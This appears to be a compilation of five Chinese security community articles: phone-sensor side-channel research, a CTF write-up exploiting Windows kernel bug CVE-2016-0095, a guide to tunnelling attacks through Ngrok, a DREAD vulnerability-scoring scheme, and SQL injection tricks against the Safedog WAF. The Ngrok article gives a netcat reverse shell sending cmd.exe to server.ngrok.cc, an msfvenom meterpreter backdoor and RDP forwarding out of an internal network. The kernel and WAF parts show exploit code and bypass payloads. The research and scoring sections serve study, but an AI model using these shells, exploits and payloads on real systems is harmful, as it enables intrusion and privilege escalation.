健身设备报告用户位置并泄露内华达沙漠中大量用户的运动轨迹（来自Strava的[热度图](https://labs.strava.com/heatmap/#13.00/-119.22766/40.77968/hot/all)）
问题来自于手机自带的各种传感器，不单单是GPS以及通信接口，陀螺仪以及加速传感器可以分辨手机处于直立状态还是平躺状态，同样也能测量其他运动模式。手机应用可以使用这些传感器来执行用户不希望执行的某些动作，比如[持续跟踪](https://doi.org/10.1109/MSP.2017.25)用户在城市街道上的移动轨迹。
大多数用户认为关闭手机的定位服务就能关闭这种移动监控功能。然而，来自东北大学（Northeastern
University）的研究团队（由我、[Sashank
Narain](https://www.ccis.northeastern.edu/people/sashank-narain/)、[Triet Vo-Huu](https://www.ccis.northeastern.edu/people/triet-vo-huu/)、[Ken
Block](https://www.ccis.northeastern.edu/people/ken-block/)以及[Amirali
Sanatinia](http://www.ccs.neu.edu/home/amirali/)组成）在[“旁路攻击”（side-channel
attacks）](https://doi.org/10.1007/3-540-68697-5_9)方面做了一些研究，研究表明手机应用可以借助某些方法规避或者逃脱这些限制条件的束缚。我们发现手机可以通过用户的指尖输入动作来获取密码，而将手机放在口袋里这么一个简单的动作也会告诉数据公司当前用户所处的位置以及想去的位置。
## 二、攻击场景假设
人们首先会假设设备及系统会面临什么安全威胁，然后再为这些设备或者系统设计防护机制。比如，设计汽车时设计师会保护乘客免受车辆碰撞（如与其他汽车、建筑物、护栏、电线杆以及道路周边常见的其他物体碰撞）所造成的安全风险，但不会考虑去保护某些异常场景中的安全风险（比如跌落悬崖、被巨石砸碎等）。专门针对这类安全风险对工程师来说极不划算，因为通常情况下并不会遇到这些奇葩现象。
与此类似，人们在设计软件及硬件时，也会假设黑客通常会执行哪些操作。但这并不意味着设备处于安全境地。旁路攻击技术最早可以追溯到1996年，当时密码学家Paul
Kocher向大众展示，他可以通过[观察](https://doi.org/10.1007/3-540-68697-5_9)计算机加解密消息所需的时间，打破非常流行且看上去固若金汤的加密系统。加密系统的设计人员从来没有想过，有一天攻击者会采用这种方法来发起攻击，因此也无法防护这类威胁。
随着时间的推移，世上又涌现出使用不同方法的其他攻击技术。最近出现的[Meltdown以及Spectre漏洞](https://meltdownattack.com/)用到了计算机处理器中的设计缺陷，同样也属于旁路攻击范畴。这两个漏洞可以帮助恶意应用程序嗅探计算机内存中其他应用程序的数据。
## 三、随时监控技术
移动设备是这种攻击技术的绝佳目标。这些设备装配了[各种传感器](https://source.android.com/devices/sensors/sensor-types)，通常带有加速传感器、陀螺仪、磁力计传感器、气压仪、多达4个麦克风、1到2个摄像头、温度计、计步器、光传感器以及湿度传感器。
应用可以在不需要用户授权许可的情况下，访问其中大多数传感器。如果将两个或者更多设备的读数结合起来，攻击者可以做到用户、手机设计人员甚至应用开发者都无法设想的事情。
在最近的一个[研究项目](https://dl.acm.org/citation.cfm?doid=2627393.2627417)中，我们开发了一款应用，这款应用能够在不读取键盘输入数据的前提下，探测到用户当前在移动手机的屏幕键盘上所输入的具体字母。我们综合采纳了手机中陀螺仪以及麦克风的读数完成了这个任务。
当用户在不同的位置点击手机屏幕时，手机本身会出现运动状态，虽然这种动作非常微小，但大多数手机中的[三轴微机陀螺仪（three-axis
micromechanical
gyroscopes）](https://learn.sparkfun.com/tutorials/gyroscope/all)依然可以准确测量出这些数据。此外，在手机屏幕上敲击时同样会发出声音，每台手机上的多个麦克风都能记录下这些数据。点击屏幕中心不会让手机出现太多位移，声音基本上会同时到达各个麦克风，因此所有麦克风听到的数据应该都差不多。然而，点击屏幕左下角的动作会让手机向左下角偏移，并且声音会更快到达左侧麦克风，屏幕底部麦克风听到的声音会更大，也会比设备上其他位置的麦克风更早听到敲击声音。
综合处理移动数据以及声音数据，我们可以判断出用户所敲击的按键，准确率超过90%。任何应用都可以悄悄内置这种功能，在不引起用户注意的情况下收集数据。
## 四、识别位置信息
随后，我们想看一下恶意应用能否推测出用户的具体行踪，包括用户居住、工作的地点以及用户旅行的路线，这些信息对大多数用户而言都是非常隐私的数据。
我们想知道应用能否借助不需要用户授权许可就能访问到的传感器来跟踪用户的地理位置。比如，司机所选择的行驶路线可以简化为一系列转弯数据，每个转弯数据都包含特定的方向以及特定的角度。在另一款应用中，我们选择使用手机的指南针来观察用户的行进方向。这款应用也用到了手机的陀螺仪，来测量用户所选择路线的一系列转弯角度数据。此外，加速传感器也会告诉我们用户处于静止或者移动状态。
记录下一系列转弯数据，将这些数据串联起来作为用户的行驶数据，我们就可以绘制出用户的移动路线图（在我们的研究工作中，我们知道被跟踪用户当前所处的具体城市，但我们也可以采用相似方法来判断用户当前处于哪座城市）。
图2. 通过智能手机跟踪用户在波士顿内的行进路线（截图取自Google Maps)，遵循[CC BY-ND](http://creativecommons.org/licenses/by-nd/4.0/)协议）
想象一下，我们看到有个人在波士顿中朝西南方向行进，向右转100度，然后向左急转弯，转而向东南方向行进，
再稍微向右拐，继续直行，然后向左稍作转弯，再向右方向慢跑，这一小段路比较不好走，需要上下颠簸，然后向左转55度，再向右转97度，在到达终点之前又稍微往右转了一下。
我们研发了一种算法，可以将这些运动轨迹与用户所在城市街道的数字地图进行匹配，从而确定用户最有可能采用的行进路线。利用这些运动数据，我们可以绘制出从Fenway
Park起，途径Back Bay Fens（波士顿后湾小塘），经过美术馆，最终到达东北大学的一条行进路线。
我们进一步改进了算法，将道路上的颠簸程度以及限速信息考虑在内，从而进一步缩小可选项范围。我们将得出的[所有可能路线](https://doi.org/10.1109/MSP.2017.25)按照与实际路线匹配的可能性进行排序。在我们测试的大多数城市中，超过半数情况下用户真实的行进路线完美落在排名前10的路线中。进一步改进地图数据、传感器读数以及匹配算法后，我们可以大大提高结果的准确度。同样，这种功能可以被恶意开发者集成到任何应用中，让表面上人畜无害的应用窥探用户隐私。
## 五、总结
我们的研究团队会继续调查，分析如何进一步利用旁路攻击技术窃取各种隐私信息。比如，收集手机的移动信息可以告诉我们正在散步的某个用户的真实年龄、是男性（将手机放在口袋中）还是女性（通常会把手机放在钱包中），甚至也可以收集到健康信息（比如用户脚步的稳健程度以及摔跤频率）。我们认为手机能窃取的信息比用户想象的还要多，我们希望能够找出阻止这类间谍行为的具体方式及方法。 | 社区文章 |
作者：[ **k0shl**](http://whereisk0shl.top)
### 前言
* * *
刚刚结束的SSCTF里面出了很多贴近实战的题目，有JAVA沙箱逃逸，有office的栈溢出，都比较有意思，这次的pwn450的题目是一道Windows
Kernel
Exploitation，漏洞编号是CVE-2016-0095（MS16-034），由四叶草的大牛bee13oy提供了一个能触发BSOD的PoC，要求通过分析漏洞并在Win
7环境下完成利用。
感觉这个过程比较有意思，和师傅们分享一下，这个漏洞相对于之前做过的CVE-2014-4113漏洞来说更为简单，利用上也有点意思，适合做Windows
Kernel入门。
本文首先我们简单分析一下PoC，随后我们一起来分析一下这个漏洞的形成原因，最后我们来看一下这个漏洞的利用点在哪里并完成利用，文章最后我将CVE-2016-0095的EoP源码上传到github并提供链接。
另外bee13oy大牛提供的PoC，我在VS2013下编译有一点问题，我稍微调整了一下PoC源码，会一起上传至github。
调试环境按照SSCTF题目要求是Windows 7 x86 sp1. 请师傅们多多指教，谢谢阅读！
* * *
### PoC分析
* * *
首先触发MS17-017的核心函数在Trigger_BSoDPoc中。
HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
这个漏洞和bitmap相关，创建了一个hdc设备句柄，并选入了一个bitmap对象，创建了一个hBrush逻辑刷子，以及一个hRgn矩形对象，最后调用FillRgn触发漏洞。
其中SelectObject选入bitmap对象的hBitmap2，由NtGdiSetBitmapAttributes函数创建，其定义的bitmap结构在demo_CreateBitmapIndirect函数中。
PoC在VS2013编译时存在一些小问题，首先是对NtGdiSetBitmapAttributes的重构定义中使用的W32KAPI，这里编译时报错，增加一个预定义头就可以了。
#ifndef W32KAPI
#define W32KAPI DECLSPEC_ADDRSAFE
#endif
第二个问题在重构NtGdiSetBitmapAttributes时内联汇编会使用NtGdiSetBitmapAttributes的系统调用号，随后调用KiFastSystemCall进入内核态，这里KiFastSystemCall没有提供地址，可以直接在函数内LoadLibrary之后使用GetProcAddress获取KiFastSystemCall地址。
HMODULE _H_NTDLL = NULL;
PVOID addr_kifastsystemcall = NULL;
_H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));
addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");
__asm
{
push argv1;
push argv0;
push 0x00;
mov eax, eSyscall_NtGdiSetBitmapAttributes;
mov edx, addr_kifastsystemcall;
call edx;
add esp, 0x0c;
}
这样编译就没问题啦，PoC我们简单分析了一下，下面我们通过Windbg的PIPE进行双机联调，来分析一下这个漏洞的形成原因。
* * *
### MS16-034漏洞分析
* * *
这是一个由于_SURFOBJ->hDEV未初始化直接引用导致的无效地址访问引发的漏洞，首先运行PoC，Windbg会捕获到异常中断，来看一下中断位置。
kd> r
eax=00000000 ebx=980b0af8 ecx=00000001 edx=00000000 esi=00000000 edi=fe9950d8
eip=838b0560 esp=980b0928 ebp=980b09a0 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
win32k!bGetRealizedBrush+0x38:
838b0560 f6402401 test byte ptr [eax+24h],1 ds:0023:00000024=??
中断位置eax的值是0x0，而eax+24是一个无效地址空间，我们需要跟踪这个eax寄存器的值由什么地方得到，首先分析win32k!bGetRealizedBrush函数。
int __stdcall bGetRealizedBrush(struct BRUSH *a1, struct EBRUSHOBJ *a2, int (__stdcall *a3)(struct _BRUSHOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _XLATEOBJ *, unsigned __int32))
{
函数传入了3个变量，由外层函数分析，可以发现其中a3是EngRealizeBrush函数，是一个写死的值（这点后
面会提到），a1是一个BRUSH结构体，a2是一个EBRUSHOBJ结构体，而漏洞触发位置的eax就由EBRUSHOBJ结构体得来，跟踪分析一下这个过程。
kd> p
win32k!bGetRealizedBrush+0x1c://ebx由第二个参数得来
969e0544 8b5d0c mov ebx,dword ptr [ebp+0Ch]
……
kd> p
win32k!bGetRealizedBrush+0x25://第二个参数+34h的位置的值交给eax
969e054d 8b4334 mov eax,dword ptr [ebx+34h]
……
kd> p
win32k!bGetRealizedBrush+0x32://eax+1c的值，交给eax，这个值为0
969e055a 8b401c mov eax,dword ptr [eax+1Ch]
kd> p
win32k!bGetRealizedBrush+0x35:
969e055d 89450c mov dword ptr [ebp+0Ch],eax
kd> p
win32k!bGetRealizedBrush+0x38://eax为0，引发无效内存访问
969e0560 f6402401 test byte ptr [eax+24h],1
经过上面的分析，我们需要知道，EBRUSHOBJ+34h位置存放着什么样的值，直接来看EBRUSHOBJ结构体的内容。
kd> dd 8effcaf8
8effcaf8 ffffffff 00000000 00000000 00edfc13
8effcb08 00edfc13 00000000 00000006 00000004
8effcb18 00000000 00ffffff fe96b7c4 00000000
8effcb28 00000000 fd2842e8 ffbff968 ffbffe68
这里0x8effcaf8+34h位置存放的值是fd2842e8，而fd2842e8+1c存放的是0x0，就是这里传递给eax，导致了eax是0x0，从而引发了无效地址访问。
kd> dd fd2842e8
fd2842e8 108501ef 00000001 80000000 874635f8
fd2842f8 00000000 108501ef 00000000 00000000
fd284308 00000008 00000008 00000020 fd28443c
fd284318 fd28443c 00000004 00001292 00000001
因此我们需要知道fd2842e8＋1c是一个什么对象的值，但通过dt方法没法获得_EBRUSHOBJ的结构，这里对象不明朗没关系，我们可以通过对外层函数的跟踪，来看一下+1c位置存放的是什么样的结构，通过kb堆栈回溯（这里由于多次重启堆栈地址发生变化，不影响调试）
kd> kb
# ChildEBP RetAddr Args to Child
00 980b09a0 838b34af 00000000 00000000 838ad5a0 win32k!bGetRealizedBrush+0x38
01 980b09b8 83929b5e 980b0af8 00000001 980b0a7c win32k!pvGetEngRbrush+0x1f
02 980b0a1c 839ab6e8 fe975218 00000000 00000000 win32k!EngBitBlt+0x337
03 980b0a54 839abb9d fe975218 980b0a7c 980b0af8 win32k!EngPaint+0x51
04 980b0c20 83e941ea 00000000 ffbff968 1910076b win32k!NtGdiFillRgn+0x339
我们可以看到最外层函数调用了win32k!NtGdiFillRgn函数，直接跟踪外层函数调用，在NtGdiFillRgn函数中。
EngPaint(
(struct _SURFOBJ *)(v5 + 16),
(int)&v13,
(struct _BRUSHOBJ *)&v18,
(struct _POINTL *)(v42 + 1592),
v10); // 函数调用会进这里
接下来我们重启系统，重新跟踪这个过程，对象地址值发生变化，但不影响调试，传入的第一个参数是SURFOBJ对象，来看一下这个对象的内容
kd> p
win32k!NtGdiFillRgn+0x334:
96adbb98 e8fafaffff call win32k!EngPaint (96adb697)
kd> dd esp
903fca5c ffb58778 903fca7c 903fcaf8 ffaabd60
第一个参数SURFOBJ的值是ffb58778，继续往后跟踪
kd> p
win32k!EngPaint+0x45:
96adb6dc ff7508 push dword ptr [ebp+8]
kd> p
win32k!EngPaint+0x48:
96adb6df 8bc8 mov ecx,eax
kd> p
win32k!EngPaint+0x4a:
96adb6e1 e868e4f8ff call win32k!SURFACE::pfnBitBlt (96a69b4e)
kd> dd 903fcaf8//这个值是BRUSH结构体
903fcaf8 ffffffff 00000000 00000000 00edfc13
903fcb08 00edfc13 00000000 00000006 00000004
903fcb18 00000000 00ffffff ffaab7c4 00000000
903fcb28 00000000 ffb58768 ffbff968 ffbffe68//偏移0x34存放的是0xffb58768
903fcb38 ffbbd540 00000006 fe57bc38 00000014
903fcb48 000000d3 00000001 ffffffff 83f77f01
903fcb58 83ec0892 903fcb7c 903fcbb0 00000000
903fcb68 903fcc10 83e17924 00000000 00000000
kd> dd ffb58768//看一下0xffb58768的值
ffb58768 068501b7 00000001 80000000 8754b030
ffb58778 00000000 068501b7 00000000 00000000//这个值是0x0
ffb58788 00000008 00000008 00000020 ffb588bc
我们发现在EBRUSHOBJ+34h位置存放的值，再+10h存放的正是之前的SURFOBJ，可以看到，0xffb58768和之前SURFOBJ对象的值0xffb58778正好相差10h，也就是说，之前ffb58768+1ch位置存放的就是SURFOBJ+0xc的值，可以看到而这个值来看一下SURFOBJ的结构
typedef struct _SURFOBJ {
DHSURF dhsurf;
HSURF hsurf;
DHPDEV dhpdev;
HDEV hdev;
SIZEL sizlBitmap;
ULONG cjBits;
PVOID pvBits;
PVOID pvScan0;
LONG lDelta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ;
前面DHSURF、HSURF、DHPDEV类型长度都是4字节，看到偏移+ch位置存放的是hdev对象，正是在PoC中未对hdev对象进行初始化直接引用，导致了漏洞的发生。我们也可以来看一下_EBRUSHOBJ的一些结构概况。
红框框应该是BRUSHOBJ，其中前4个字节时iSolidColor，中间4个字节是pvRbrush，后4个字节是flColorType，绿框框应该是在PoC中定义的hBrush的COLORREF，粉框框则是SURFOBJ-10h的一个结构，问题也出现在这里。
* * *
### PWN!!
* * *
知道了这个漏洞形成原因，我们来考虑利用过程，首先，我们回到触发漏洞的位置，这里引用了eax＋24，就是0x0＋24，在Win7下限制较少，不像Win8和Win10，在_EPROCESS结构中有VdmAllowed之类的来限制NtAllocateVirtualMemory申请零页内存，如果我们通过NtAllocateVirtualMemory申请零页内存，那么对应位置就不是一个无效地址了。
我们通过伪代码来看一下这一小部分的逻辑。
P = 0;
v69 = 0;
a2 = *(struct EBRUSHOBJ **)(v6 + 28);//key！！a2被赋值为0了！
v45 = (*((_BYTE *)a2 + 36) & 1) == 0;//引发BSOD位置
v72 = 0;
v75 = 0;
可以看到，在之前a2会由于hdev未初始化，而直接引用，被赋值为0x0，那么也就是说，在函数后面所有跟a2有关的操作部分，比如a2+0xn的操作，都是在零页内存位置做操作，比如后面的a2+36就是引发bsod的位置，将0x0+24h了。
那么也就是说，如果我们用NtAllocateVirtualMemory分配了零页内存，那么零页内存位置的值我们都是可控的，也就是说在win32k!bGetRealizedBrush中，所有跟a2相关的位置我们都是可控的。
换个角度讲，我们可以在零页位置构造一个fake
struct来控制一些可控的位置。接下来，为了利用，我们需要在win32k!bGetRealizedBrush中，找到一些可以利用的点。
找到了两个点，第一个点比较好找，第二个点我不够细心没找到，还是pxx提醒了我，感谢pxx师傅！
第一个点在
第二个点在
其中第一个点不好用，就是之前我说到的这是一个常数，这里引用的是EngRealizeBrush函数，是在传递参数时一个定值，这个值不能被修改。
因此我们能利用的位置应该就是第二个点，但其实，从我们漏洞触发位置，到漏洞利用位置有几处if语句判断，第一处。
.text:BF840799 ; 119: v23 = *((_WORD *)v20 + 712);
.text:BF840799
.text:BF840799 loc_BF840799: ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+266j
.text:BF840799 movzx edx, word ptr [eax+590h] ; check 0x590
.text:BF8407A0 ; 120: if ( !v23 )
.text:BF8407A0 cmp dx, si
.text:BF8407A3 ; 121: goto LABEL_23;
.text:BF8407A3 jz loc_BF8406F7
这时候v20的值是a2，而a2的值来自于 a2 = _(struct EBRUSHOBJ_ *)(v6 +
28);，之前已经分析过，由于未初始化，这个值为0，那么第一处在v23的if语句跳转中，需要置0+0x590位置的值为不为0的数。
接下来第二处跳转。
.text:BF8407A3 ; 120: if ( !v23 )
.text:BF8407A3 jz loc_BF8406F7
.text:BF8407A9 ; 122: v24 = (struct EBRUSHOBJ *)((char *)v20 + 1426);
.text:BF8407A9 add eax, 592h ; Check 0x592
.text:BF8407AE ; 123: if ( !*(_WORD *)v24 )
.text:BF8407AE cmp [eax], si
.text:BF8407B1 ; 124: goto LABEL_23;
.text:BF8407B1 jz loc_BF8406F7
这个地方又要一个if语句跳转，这个地方需要置0x592位置的值为不为0的数。
最后一处，也就是call edi之前的位置
.text:BF8407F0 mov edi, [eax+748h]//edi赋值为跳板值
.text:BF8407F6 setz cl
.text:BF8407F9 inc ecx
.text:BF8407FA mov [ebp+var_14], ecx
.text:BF8407FD ; 134: if ( v26 )
.text:BF8407FD cmp edi, esi//这里仍旧是和0比较
.text:BF8407FF jz short loc_BF840823
这里检查的是0x748的位置，这个地方需要edi和esi做比较，edi不为0，这里赋值为替换token的shellcode的值就是不为0的值了，直接可以跳转。
只要绕过了这3处，就可以到达call edi了，而call
edi，又来自eax＋748，这个位置我们可控，这样就能到shellcode位置了，所以，我们需要在零页分配一个0x1000的内存（只要大于748，随便定义）。
随后布置这3个值，之后我们可以达到零页可控位置。
接下来，我们只需要在源码中使用steal token
shellcode，然后在内核态执行用户态shellcode，完成token替换，这样我们通过如下代码部署零页内存。
void* bypass_one = (void *)0x590;
*(LPBYTE)bypass_one = 0x1;
void* bypass_two = (void *)0x592;
*(LPBYTE)bypass_two = 0x1;
void* jump_addr = (void *)0x748;
*(LPDWORD)jump_addr = (DWORD)TokenStealingShellcodeWin7;
由于Win7下没有SMEP，因此我们也不需要使用ROP来修改CR4寄存器的值，这样，我们在RING0下执行RING3 shellcode完成提权。
最后，我提供一个我的Exploit的下载地址： https://github.com/k0keoyo/SSCTF-pwn450-ms16-034-writeup
请师傅们多多指教，谢谢！Have fun and PWN!
* * * | 社区文章 |
# 【技术分享】Ngrok内网穿透的几种利用
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：[ Double8 ](http://bobao.360.cn/member/contribute?uid=269624429)**
**稿费：300RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**前言**
Ngrok的官方是这样介绍：一条命令解决的外网访问内网问题，本地WEB外网访问、本地开发微信、TCP端口转发。有tcp端口转发的功能，就尝试利用ngrok进行内网的穿透。Ngrok的网址：<http://www.ngrok.cc/>。
渗透的时候，有时候我们是内网，对方服务器也是内网，而没有vps怎么办，而又想实现端口转发，而这时候可以利用ngrok进行tcp的端口转发，实现内网的穿透。而且支持mac，Linux和windows。
PS:本文具有一定的攻击性，只用于学习，以下实验都是在虚拟机上面实现，还要感谢佳哥的指导。
**Ngrok内网穿透的几种利用**
首先先到<http://www.ngrok.cc/login>这个平台登陆进行注册，然后就可以添加自己本地需要转发的地址和接收的端口。
选择需要的服务，填上外网需要接收的端口，和转发到本地的端口和地址,地址可以随意填。
**
**
**进行nc的反弹**
192.168.1.100是kali上面的ip，先选择对应的Linux版本，然后在Linux上面执行这句命令。
./sunny clientid 客户端id
当看到这个界面的时候，就可以进行转发了。
在要接收的Linux机器上面执行这个命令,进行监听：
在内网的机器当中执行这个命令：
nc -vv server.ngrok.cc 11226 -e c:WindowsSystem32cmd.exe
成功接收，有点意思吧。
**msf的反弹**
当没有一台外网的vps的时候，msf的利用是比较难的。但利用这个可以实现端口的转发。就可以实现即使在内网中也可以玩转msf。用法如下：
先启动服务，kali上面执行这个命令：./sunny clientid
客户端id。http://p6.qhimg.com/t01d4c3fff918b2f55e.png
这里实现的是由外网的端口转发到内网的12345端口当中:server.ngrok.cc(119.28.62.35):11226->192.168.1.102（kali的ip）:12345.
先生成一个后门：
msfvenom -a x86 --platform win -p windows/meterpreter/reverse_tcp LHOST=119.28.62.35 LPORT=11226 -f exe x> back.exe
然后把后门放在内网的机器上面执行。
在kali上面监听的结果：
成功反弹。
**lcx实现的转发**
这次是在windows上面启动ngrok，所以选择相应的版本，先执行《Sunny-Ngrok启动工具.bat》，再输入客户端id：
当看到以下界面就说明成功运行：
首先本地进行监听：
lcx -listen 12345 33891
然后将内网的3389转发出去，执行以下命令：
lcx.exe -slave server.ngrok.cc 11226 127.0.0.1 3389
然后用访问本地33891端口进行连接：
成功连接机器。
除了以上的方法，因为实现了端口转发，想利用的方式还是很多的，利用ssh端口的利用等。这里就不举例子了，自己可以尝试实现。 | 社区文章 |
# 基于DREAD模型的漏洞等级计算
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
去年，写过一篇《漏洞运营规范化》，当时有些朋友问，无论是使用cvss，dread，owasp，或者是现有国内各大src的评级标准，能不能有一套可以减少争议，能够自动化实现的方法呢？
在这一年中，和团队成员不断的探索中，进行了关于漏洞评级的模型选型，标准化，自动化计算，以及根据实际情况的小范围内测和公测，探索了一套基于DREAD模型的漏洞计算模式。
这套模式仍在不断摸索中，欢迎感兴趣的朋友，一起进一步沟通和探讨。
## 一、选型
如前文所述，已知的漏洞计算模型包括cvss，dread，owasp，还有各大src现在应用的方式，真正准备进行标准化前针对各个模型进行了初步的调研。
调研前首先明确，这套模型需要明确几个概念：
1. 目标对象是用在SRC收集漏洞上，而不是单纯的内部扫描器稳定产出的结果，这就意味着收到的漏洞可能场景更复杂，更难以按照类型单一标准化。
2. 目标人群外界的白帽子是第一优先用户，内部安全工程师是第二用户，内部的各个业务方包括开发运维测试是第三用户。也就是说，这里面大部分的用户都是非企业安全建设的用户。
3. 漏洞等级的定义依据是——“可能带来的影响”。可能带来的影响，既不是指某类漏洞的危害（这里指漏洞的等级不止需要考虑该漏洞本身，同时要考虑这个类型的漏洞实际影响的业务等多个维度），也不是已经带来的影响（已经带来影响的，可能已经是安全事件了）。
4. 漏洞类型的范围除了传统的Web安全漏洞，系统网络安全漏洞和移动客户端的安全漏洞，可能还需要包括业务安全、业务逻辑，第三方平台信息泄露等，因为随着安全的发展，出现的各种新型安全问题越来越多，也超出了原本技术漏洞的范畴，是更广义上的漏洞。
几个定义明确了之后，那哪个更适合应用在SRC呢？
结合以上应用场景，以及各个评分标准下，如果想在SRC进一步进行标准化，那么DREAD成为了优选的对象。
## 二、等级计算
由于历史原因，SRC的漏洞危害，包括忽略的情况下，一共分为5个大类，11个小类，分别是
等级大类 | 等级小类
---|---
严重 | 10
严重 | 9
高危 | 8
高危 | 7
高危 | 6
中危 | 5
中危 | 4
中危 | 3
低危 | 2
低危 | 1
忽略 | 0
由于后续的积分体系，奖励体系都是依照这个等级规则来的，在等级不变的情况下，想与DREAD模型进行匹配，就需要进行一定的适配。
DREAD模型的计算方式：等级=危害性+复现难度+利用难度+受影响用户+发现难度
已有的等级计分分数标准，结合DREAD的等级计算方式，最终适配出来的分数是：
等级[忽略(0),严重(10)]=(危害性[0,4]+复现难度[0,4]+利用难度[0,4]+受影响用户[0,4]+发现难度[0,4])/2
其中，
1. 危害性、复现难度、利用难度任意一个值为0，总分即为0；
2. 等级为0总分除以2后取整。
## 三、等级定义
### 1\. 危害性（Damage）
危害性Damage，即how bad would an
attackbe?（来源于维基百科，下同）意指：如果被攻击了，会造成怎样的危害？这里根据系统受危害程度，泄露信息的数据敏感性，资损，系统受危害程度等方面来衡量危害。
首先是数据敏感性。各公司一般会数据根据敏感程度分等级，可以是对外公开，内部公开，秘密数据，机密数据等
其次，对于资金的损失，可以按照实际的金额的某些区域进行划分，也可以按照某个比例计算
再次，对于系统的破坏包括但不限于，上面说的数据泄露、资金损失外，能够完全获得权限、执行管理员操作、非法上传更为严重。
由此可参考以下等级划分：
0分：未泄露敏感信息，不涉及资金损失
1分：泄露内部公开的数据，或存在较少资金损失
2分：泄露秘密数据，或存在一定资金损失
3分：泄露机密数据，或资金损失较大
4分：获取完全验证权限，或执行管理员操作，或非法上传文件，或资金存世巨大
### 2\. 复现难度（Reproducibility)
复现难度Reproducibility，即how easy is it to reproduce
theattack?意指，复现这个攻击的难易程度是怎样的？重点在于这个漏洞是不是容易复现成功，有难度和概率问题。
（注意，有的地方的翻译是，攻击后恢复运营的简易度，经过几番考察，这里不是恢复运营的简易度，reproduce指的是复现，即把这个漏洞重复演示，而不是恢复运营，国内有的地方按照恢复运营翻译是有问题的）。
0分：非常困难或者不可能复现，即时对于应用管理员
1分：很难复现，复现成功率较低，需要多种因素限制并对技术有较高要求
2分：可以复现，但有时间或其他因素限制
3分：容易复现，需要一步或两步，可能需要变成授权用户
4分：非常容易复现，仅仅一个浏览器和地址栏就ok,不需要身份认证
### 3\. 利用难度（Exploitability）
利用难度Exploitability，即how much work is it to launch
theattack?意指，需要什么才能利用这个漏洞？这里特指的是，使用什么才能实现这个攻击，这里关注的重点是具体使用的工具。
0分：漏洞无法利用
1分：利用条件非常苛刻，如未披露的0day
2分：熟练攻击者可攻击，需自定制脚本或高级攻击工具
3分：中级攻击者能攻击，已存在可用工具或可被轻易利用
4分：初学者短期能掌握，仅需Web浏览器即可
### 4\. 受影响用户（Affected Users）
受影响用户Affected Users，即how many people will
beimpacted？意指，多少用户会被影响到？实际应用的模型里，添加了业务的重要程度，以及多少算“多”的概念。
业务的等级，同现在大多数公司对于业务的概念，氛围核心、一般和边缘，这个由公司各业务主导业务定级，安全团队进行参考和微调
数量的概念，参考新颁布的网络安全法，如果是敏感数据超过50条即可判刑来看，只要敏感数据超过50条即可认为是大量。
0分：对用户无影响
1分：一般边缘业务的少量用户
2分：一般边缘业务的大量用户或核心业务的少量用户
3分：核心业务的大量用户
4分：所有用户或涉及多个核心业务的大量用户
### 5\. 发现难度（Discoverability）
发现难度Discoverability，即how easy is it to discover
thethreat?意指，发现这个威胁的难以程度？实际应用做了一些具体场景化的举例。
当对已有应用进行安全审计时，“可发现性”将依照惯例被设置为4分，也就是默认此风险会被发现。
0分：非常困难，甚至不可能发现；需要源码或者管理员权限
1分：发现漏洞很困难，可以通过猜测或者监测网络活动来发现
2分：在私有区域(如内网)，部分非可见（如有权限限制），有时间或其他因素限制，需要深入挖掘的漏洞
3分：容易发现，错误的细节已经在外部公共平台上披露，而且可以用搜索引擎轻易发现，攻击条件较易获得
4分：非常容易发现，信息在web浏览器的地址栏或者表单里可见（通常是外网）
## 四、问题和校正
在以上等级定义和计算下，经过一段时间的内测和小范围公测，也发现了一些问题。
1. 问题：根据DREAD模型计算的5个维度的权重都是1，而通常情况下更多人更看重漏洞危害对等级的影响，或者有的只看重危害和利用难度，或者有的只看重危害+利用难度+影响用户，那么权重是不是需要调整呢，或者删掉一些维度呢？反馈：这个可能需要大量的数据和实践来支撑，目前DREAD模型的标准权重是1，这个是模型的理论基础，后续结合实际情况再看是否和如何调整。
2. 问题：大部分时间计算下来的漏洞都是中危以上，基本上很难计算出来低危的漏洞，而实际上确实有低危的情况。
反馈：1）方法一：这就要引入部分漏洞类型，当选择这些类型的时候，会默认给出一些参考值。
2）方法二：调整漏洞等级的大分和小分的值，例如现有低危计算是1~2，可以调整为0.5~3.5都是低危。
3. 问题：除了常见的5个维度，有些情况下，如果通盘考虑，除了传统意义上的安全风险，可能还有覆盖不全的？
反馈：1）安全维度本身，有时候需要考虑触发条件等因素，可以酌情进行调整。
2）公关风险和法律风险，可以作为加分项。
**参考**
1. DREAD (risk assessment model)维基百科：<https://en.wikipedia.org/wiki/DREAD_(risk_assessment_model)>
2. Threat Risk Modeling(OWASP翻译4)简书（侵删）：<https://www.jianshu.com/p/3534c30c0a83>
3. 6步教你搞定网络威胁建模（侵删）<http://www.sohu.com/a/123809332_505884>
4. DREAD： 安全风险评估模型（侵删）：<http://www.aiuxian.com/article/p-1962153.html> | 社区文章 |
最近虽然比较忙,但是还是想写点技术方面的东西做个记录。
正好给公司攻防环境出了一道web的题加了狗，就试着绕一下分享出来吧.
# 环境预览
用了最新版的安全狗apache版本4.0
漏洞环境
# 绕过and 1=1
and 1=1拦截
and ord(0x1) == and True
and ord(0x0) == and False
# 绕过 order by
正常order by 被咬
在 order 和by之间放点无效字符，然后再换个行
order /*|--|*/--+%20%0Aby 3%23 绕过
# 绕过 union select
union select 1,2,3 被咬
这里用内连注释+空语句+注释+换行
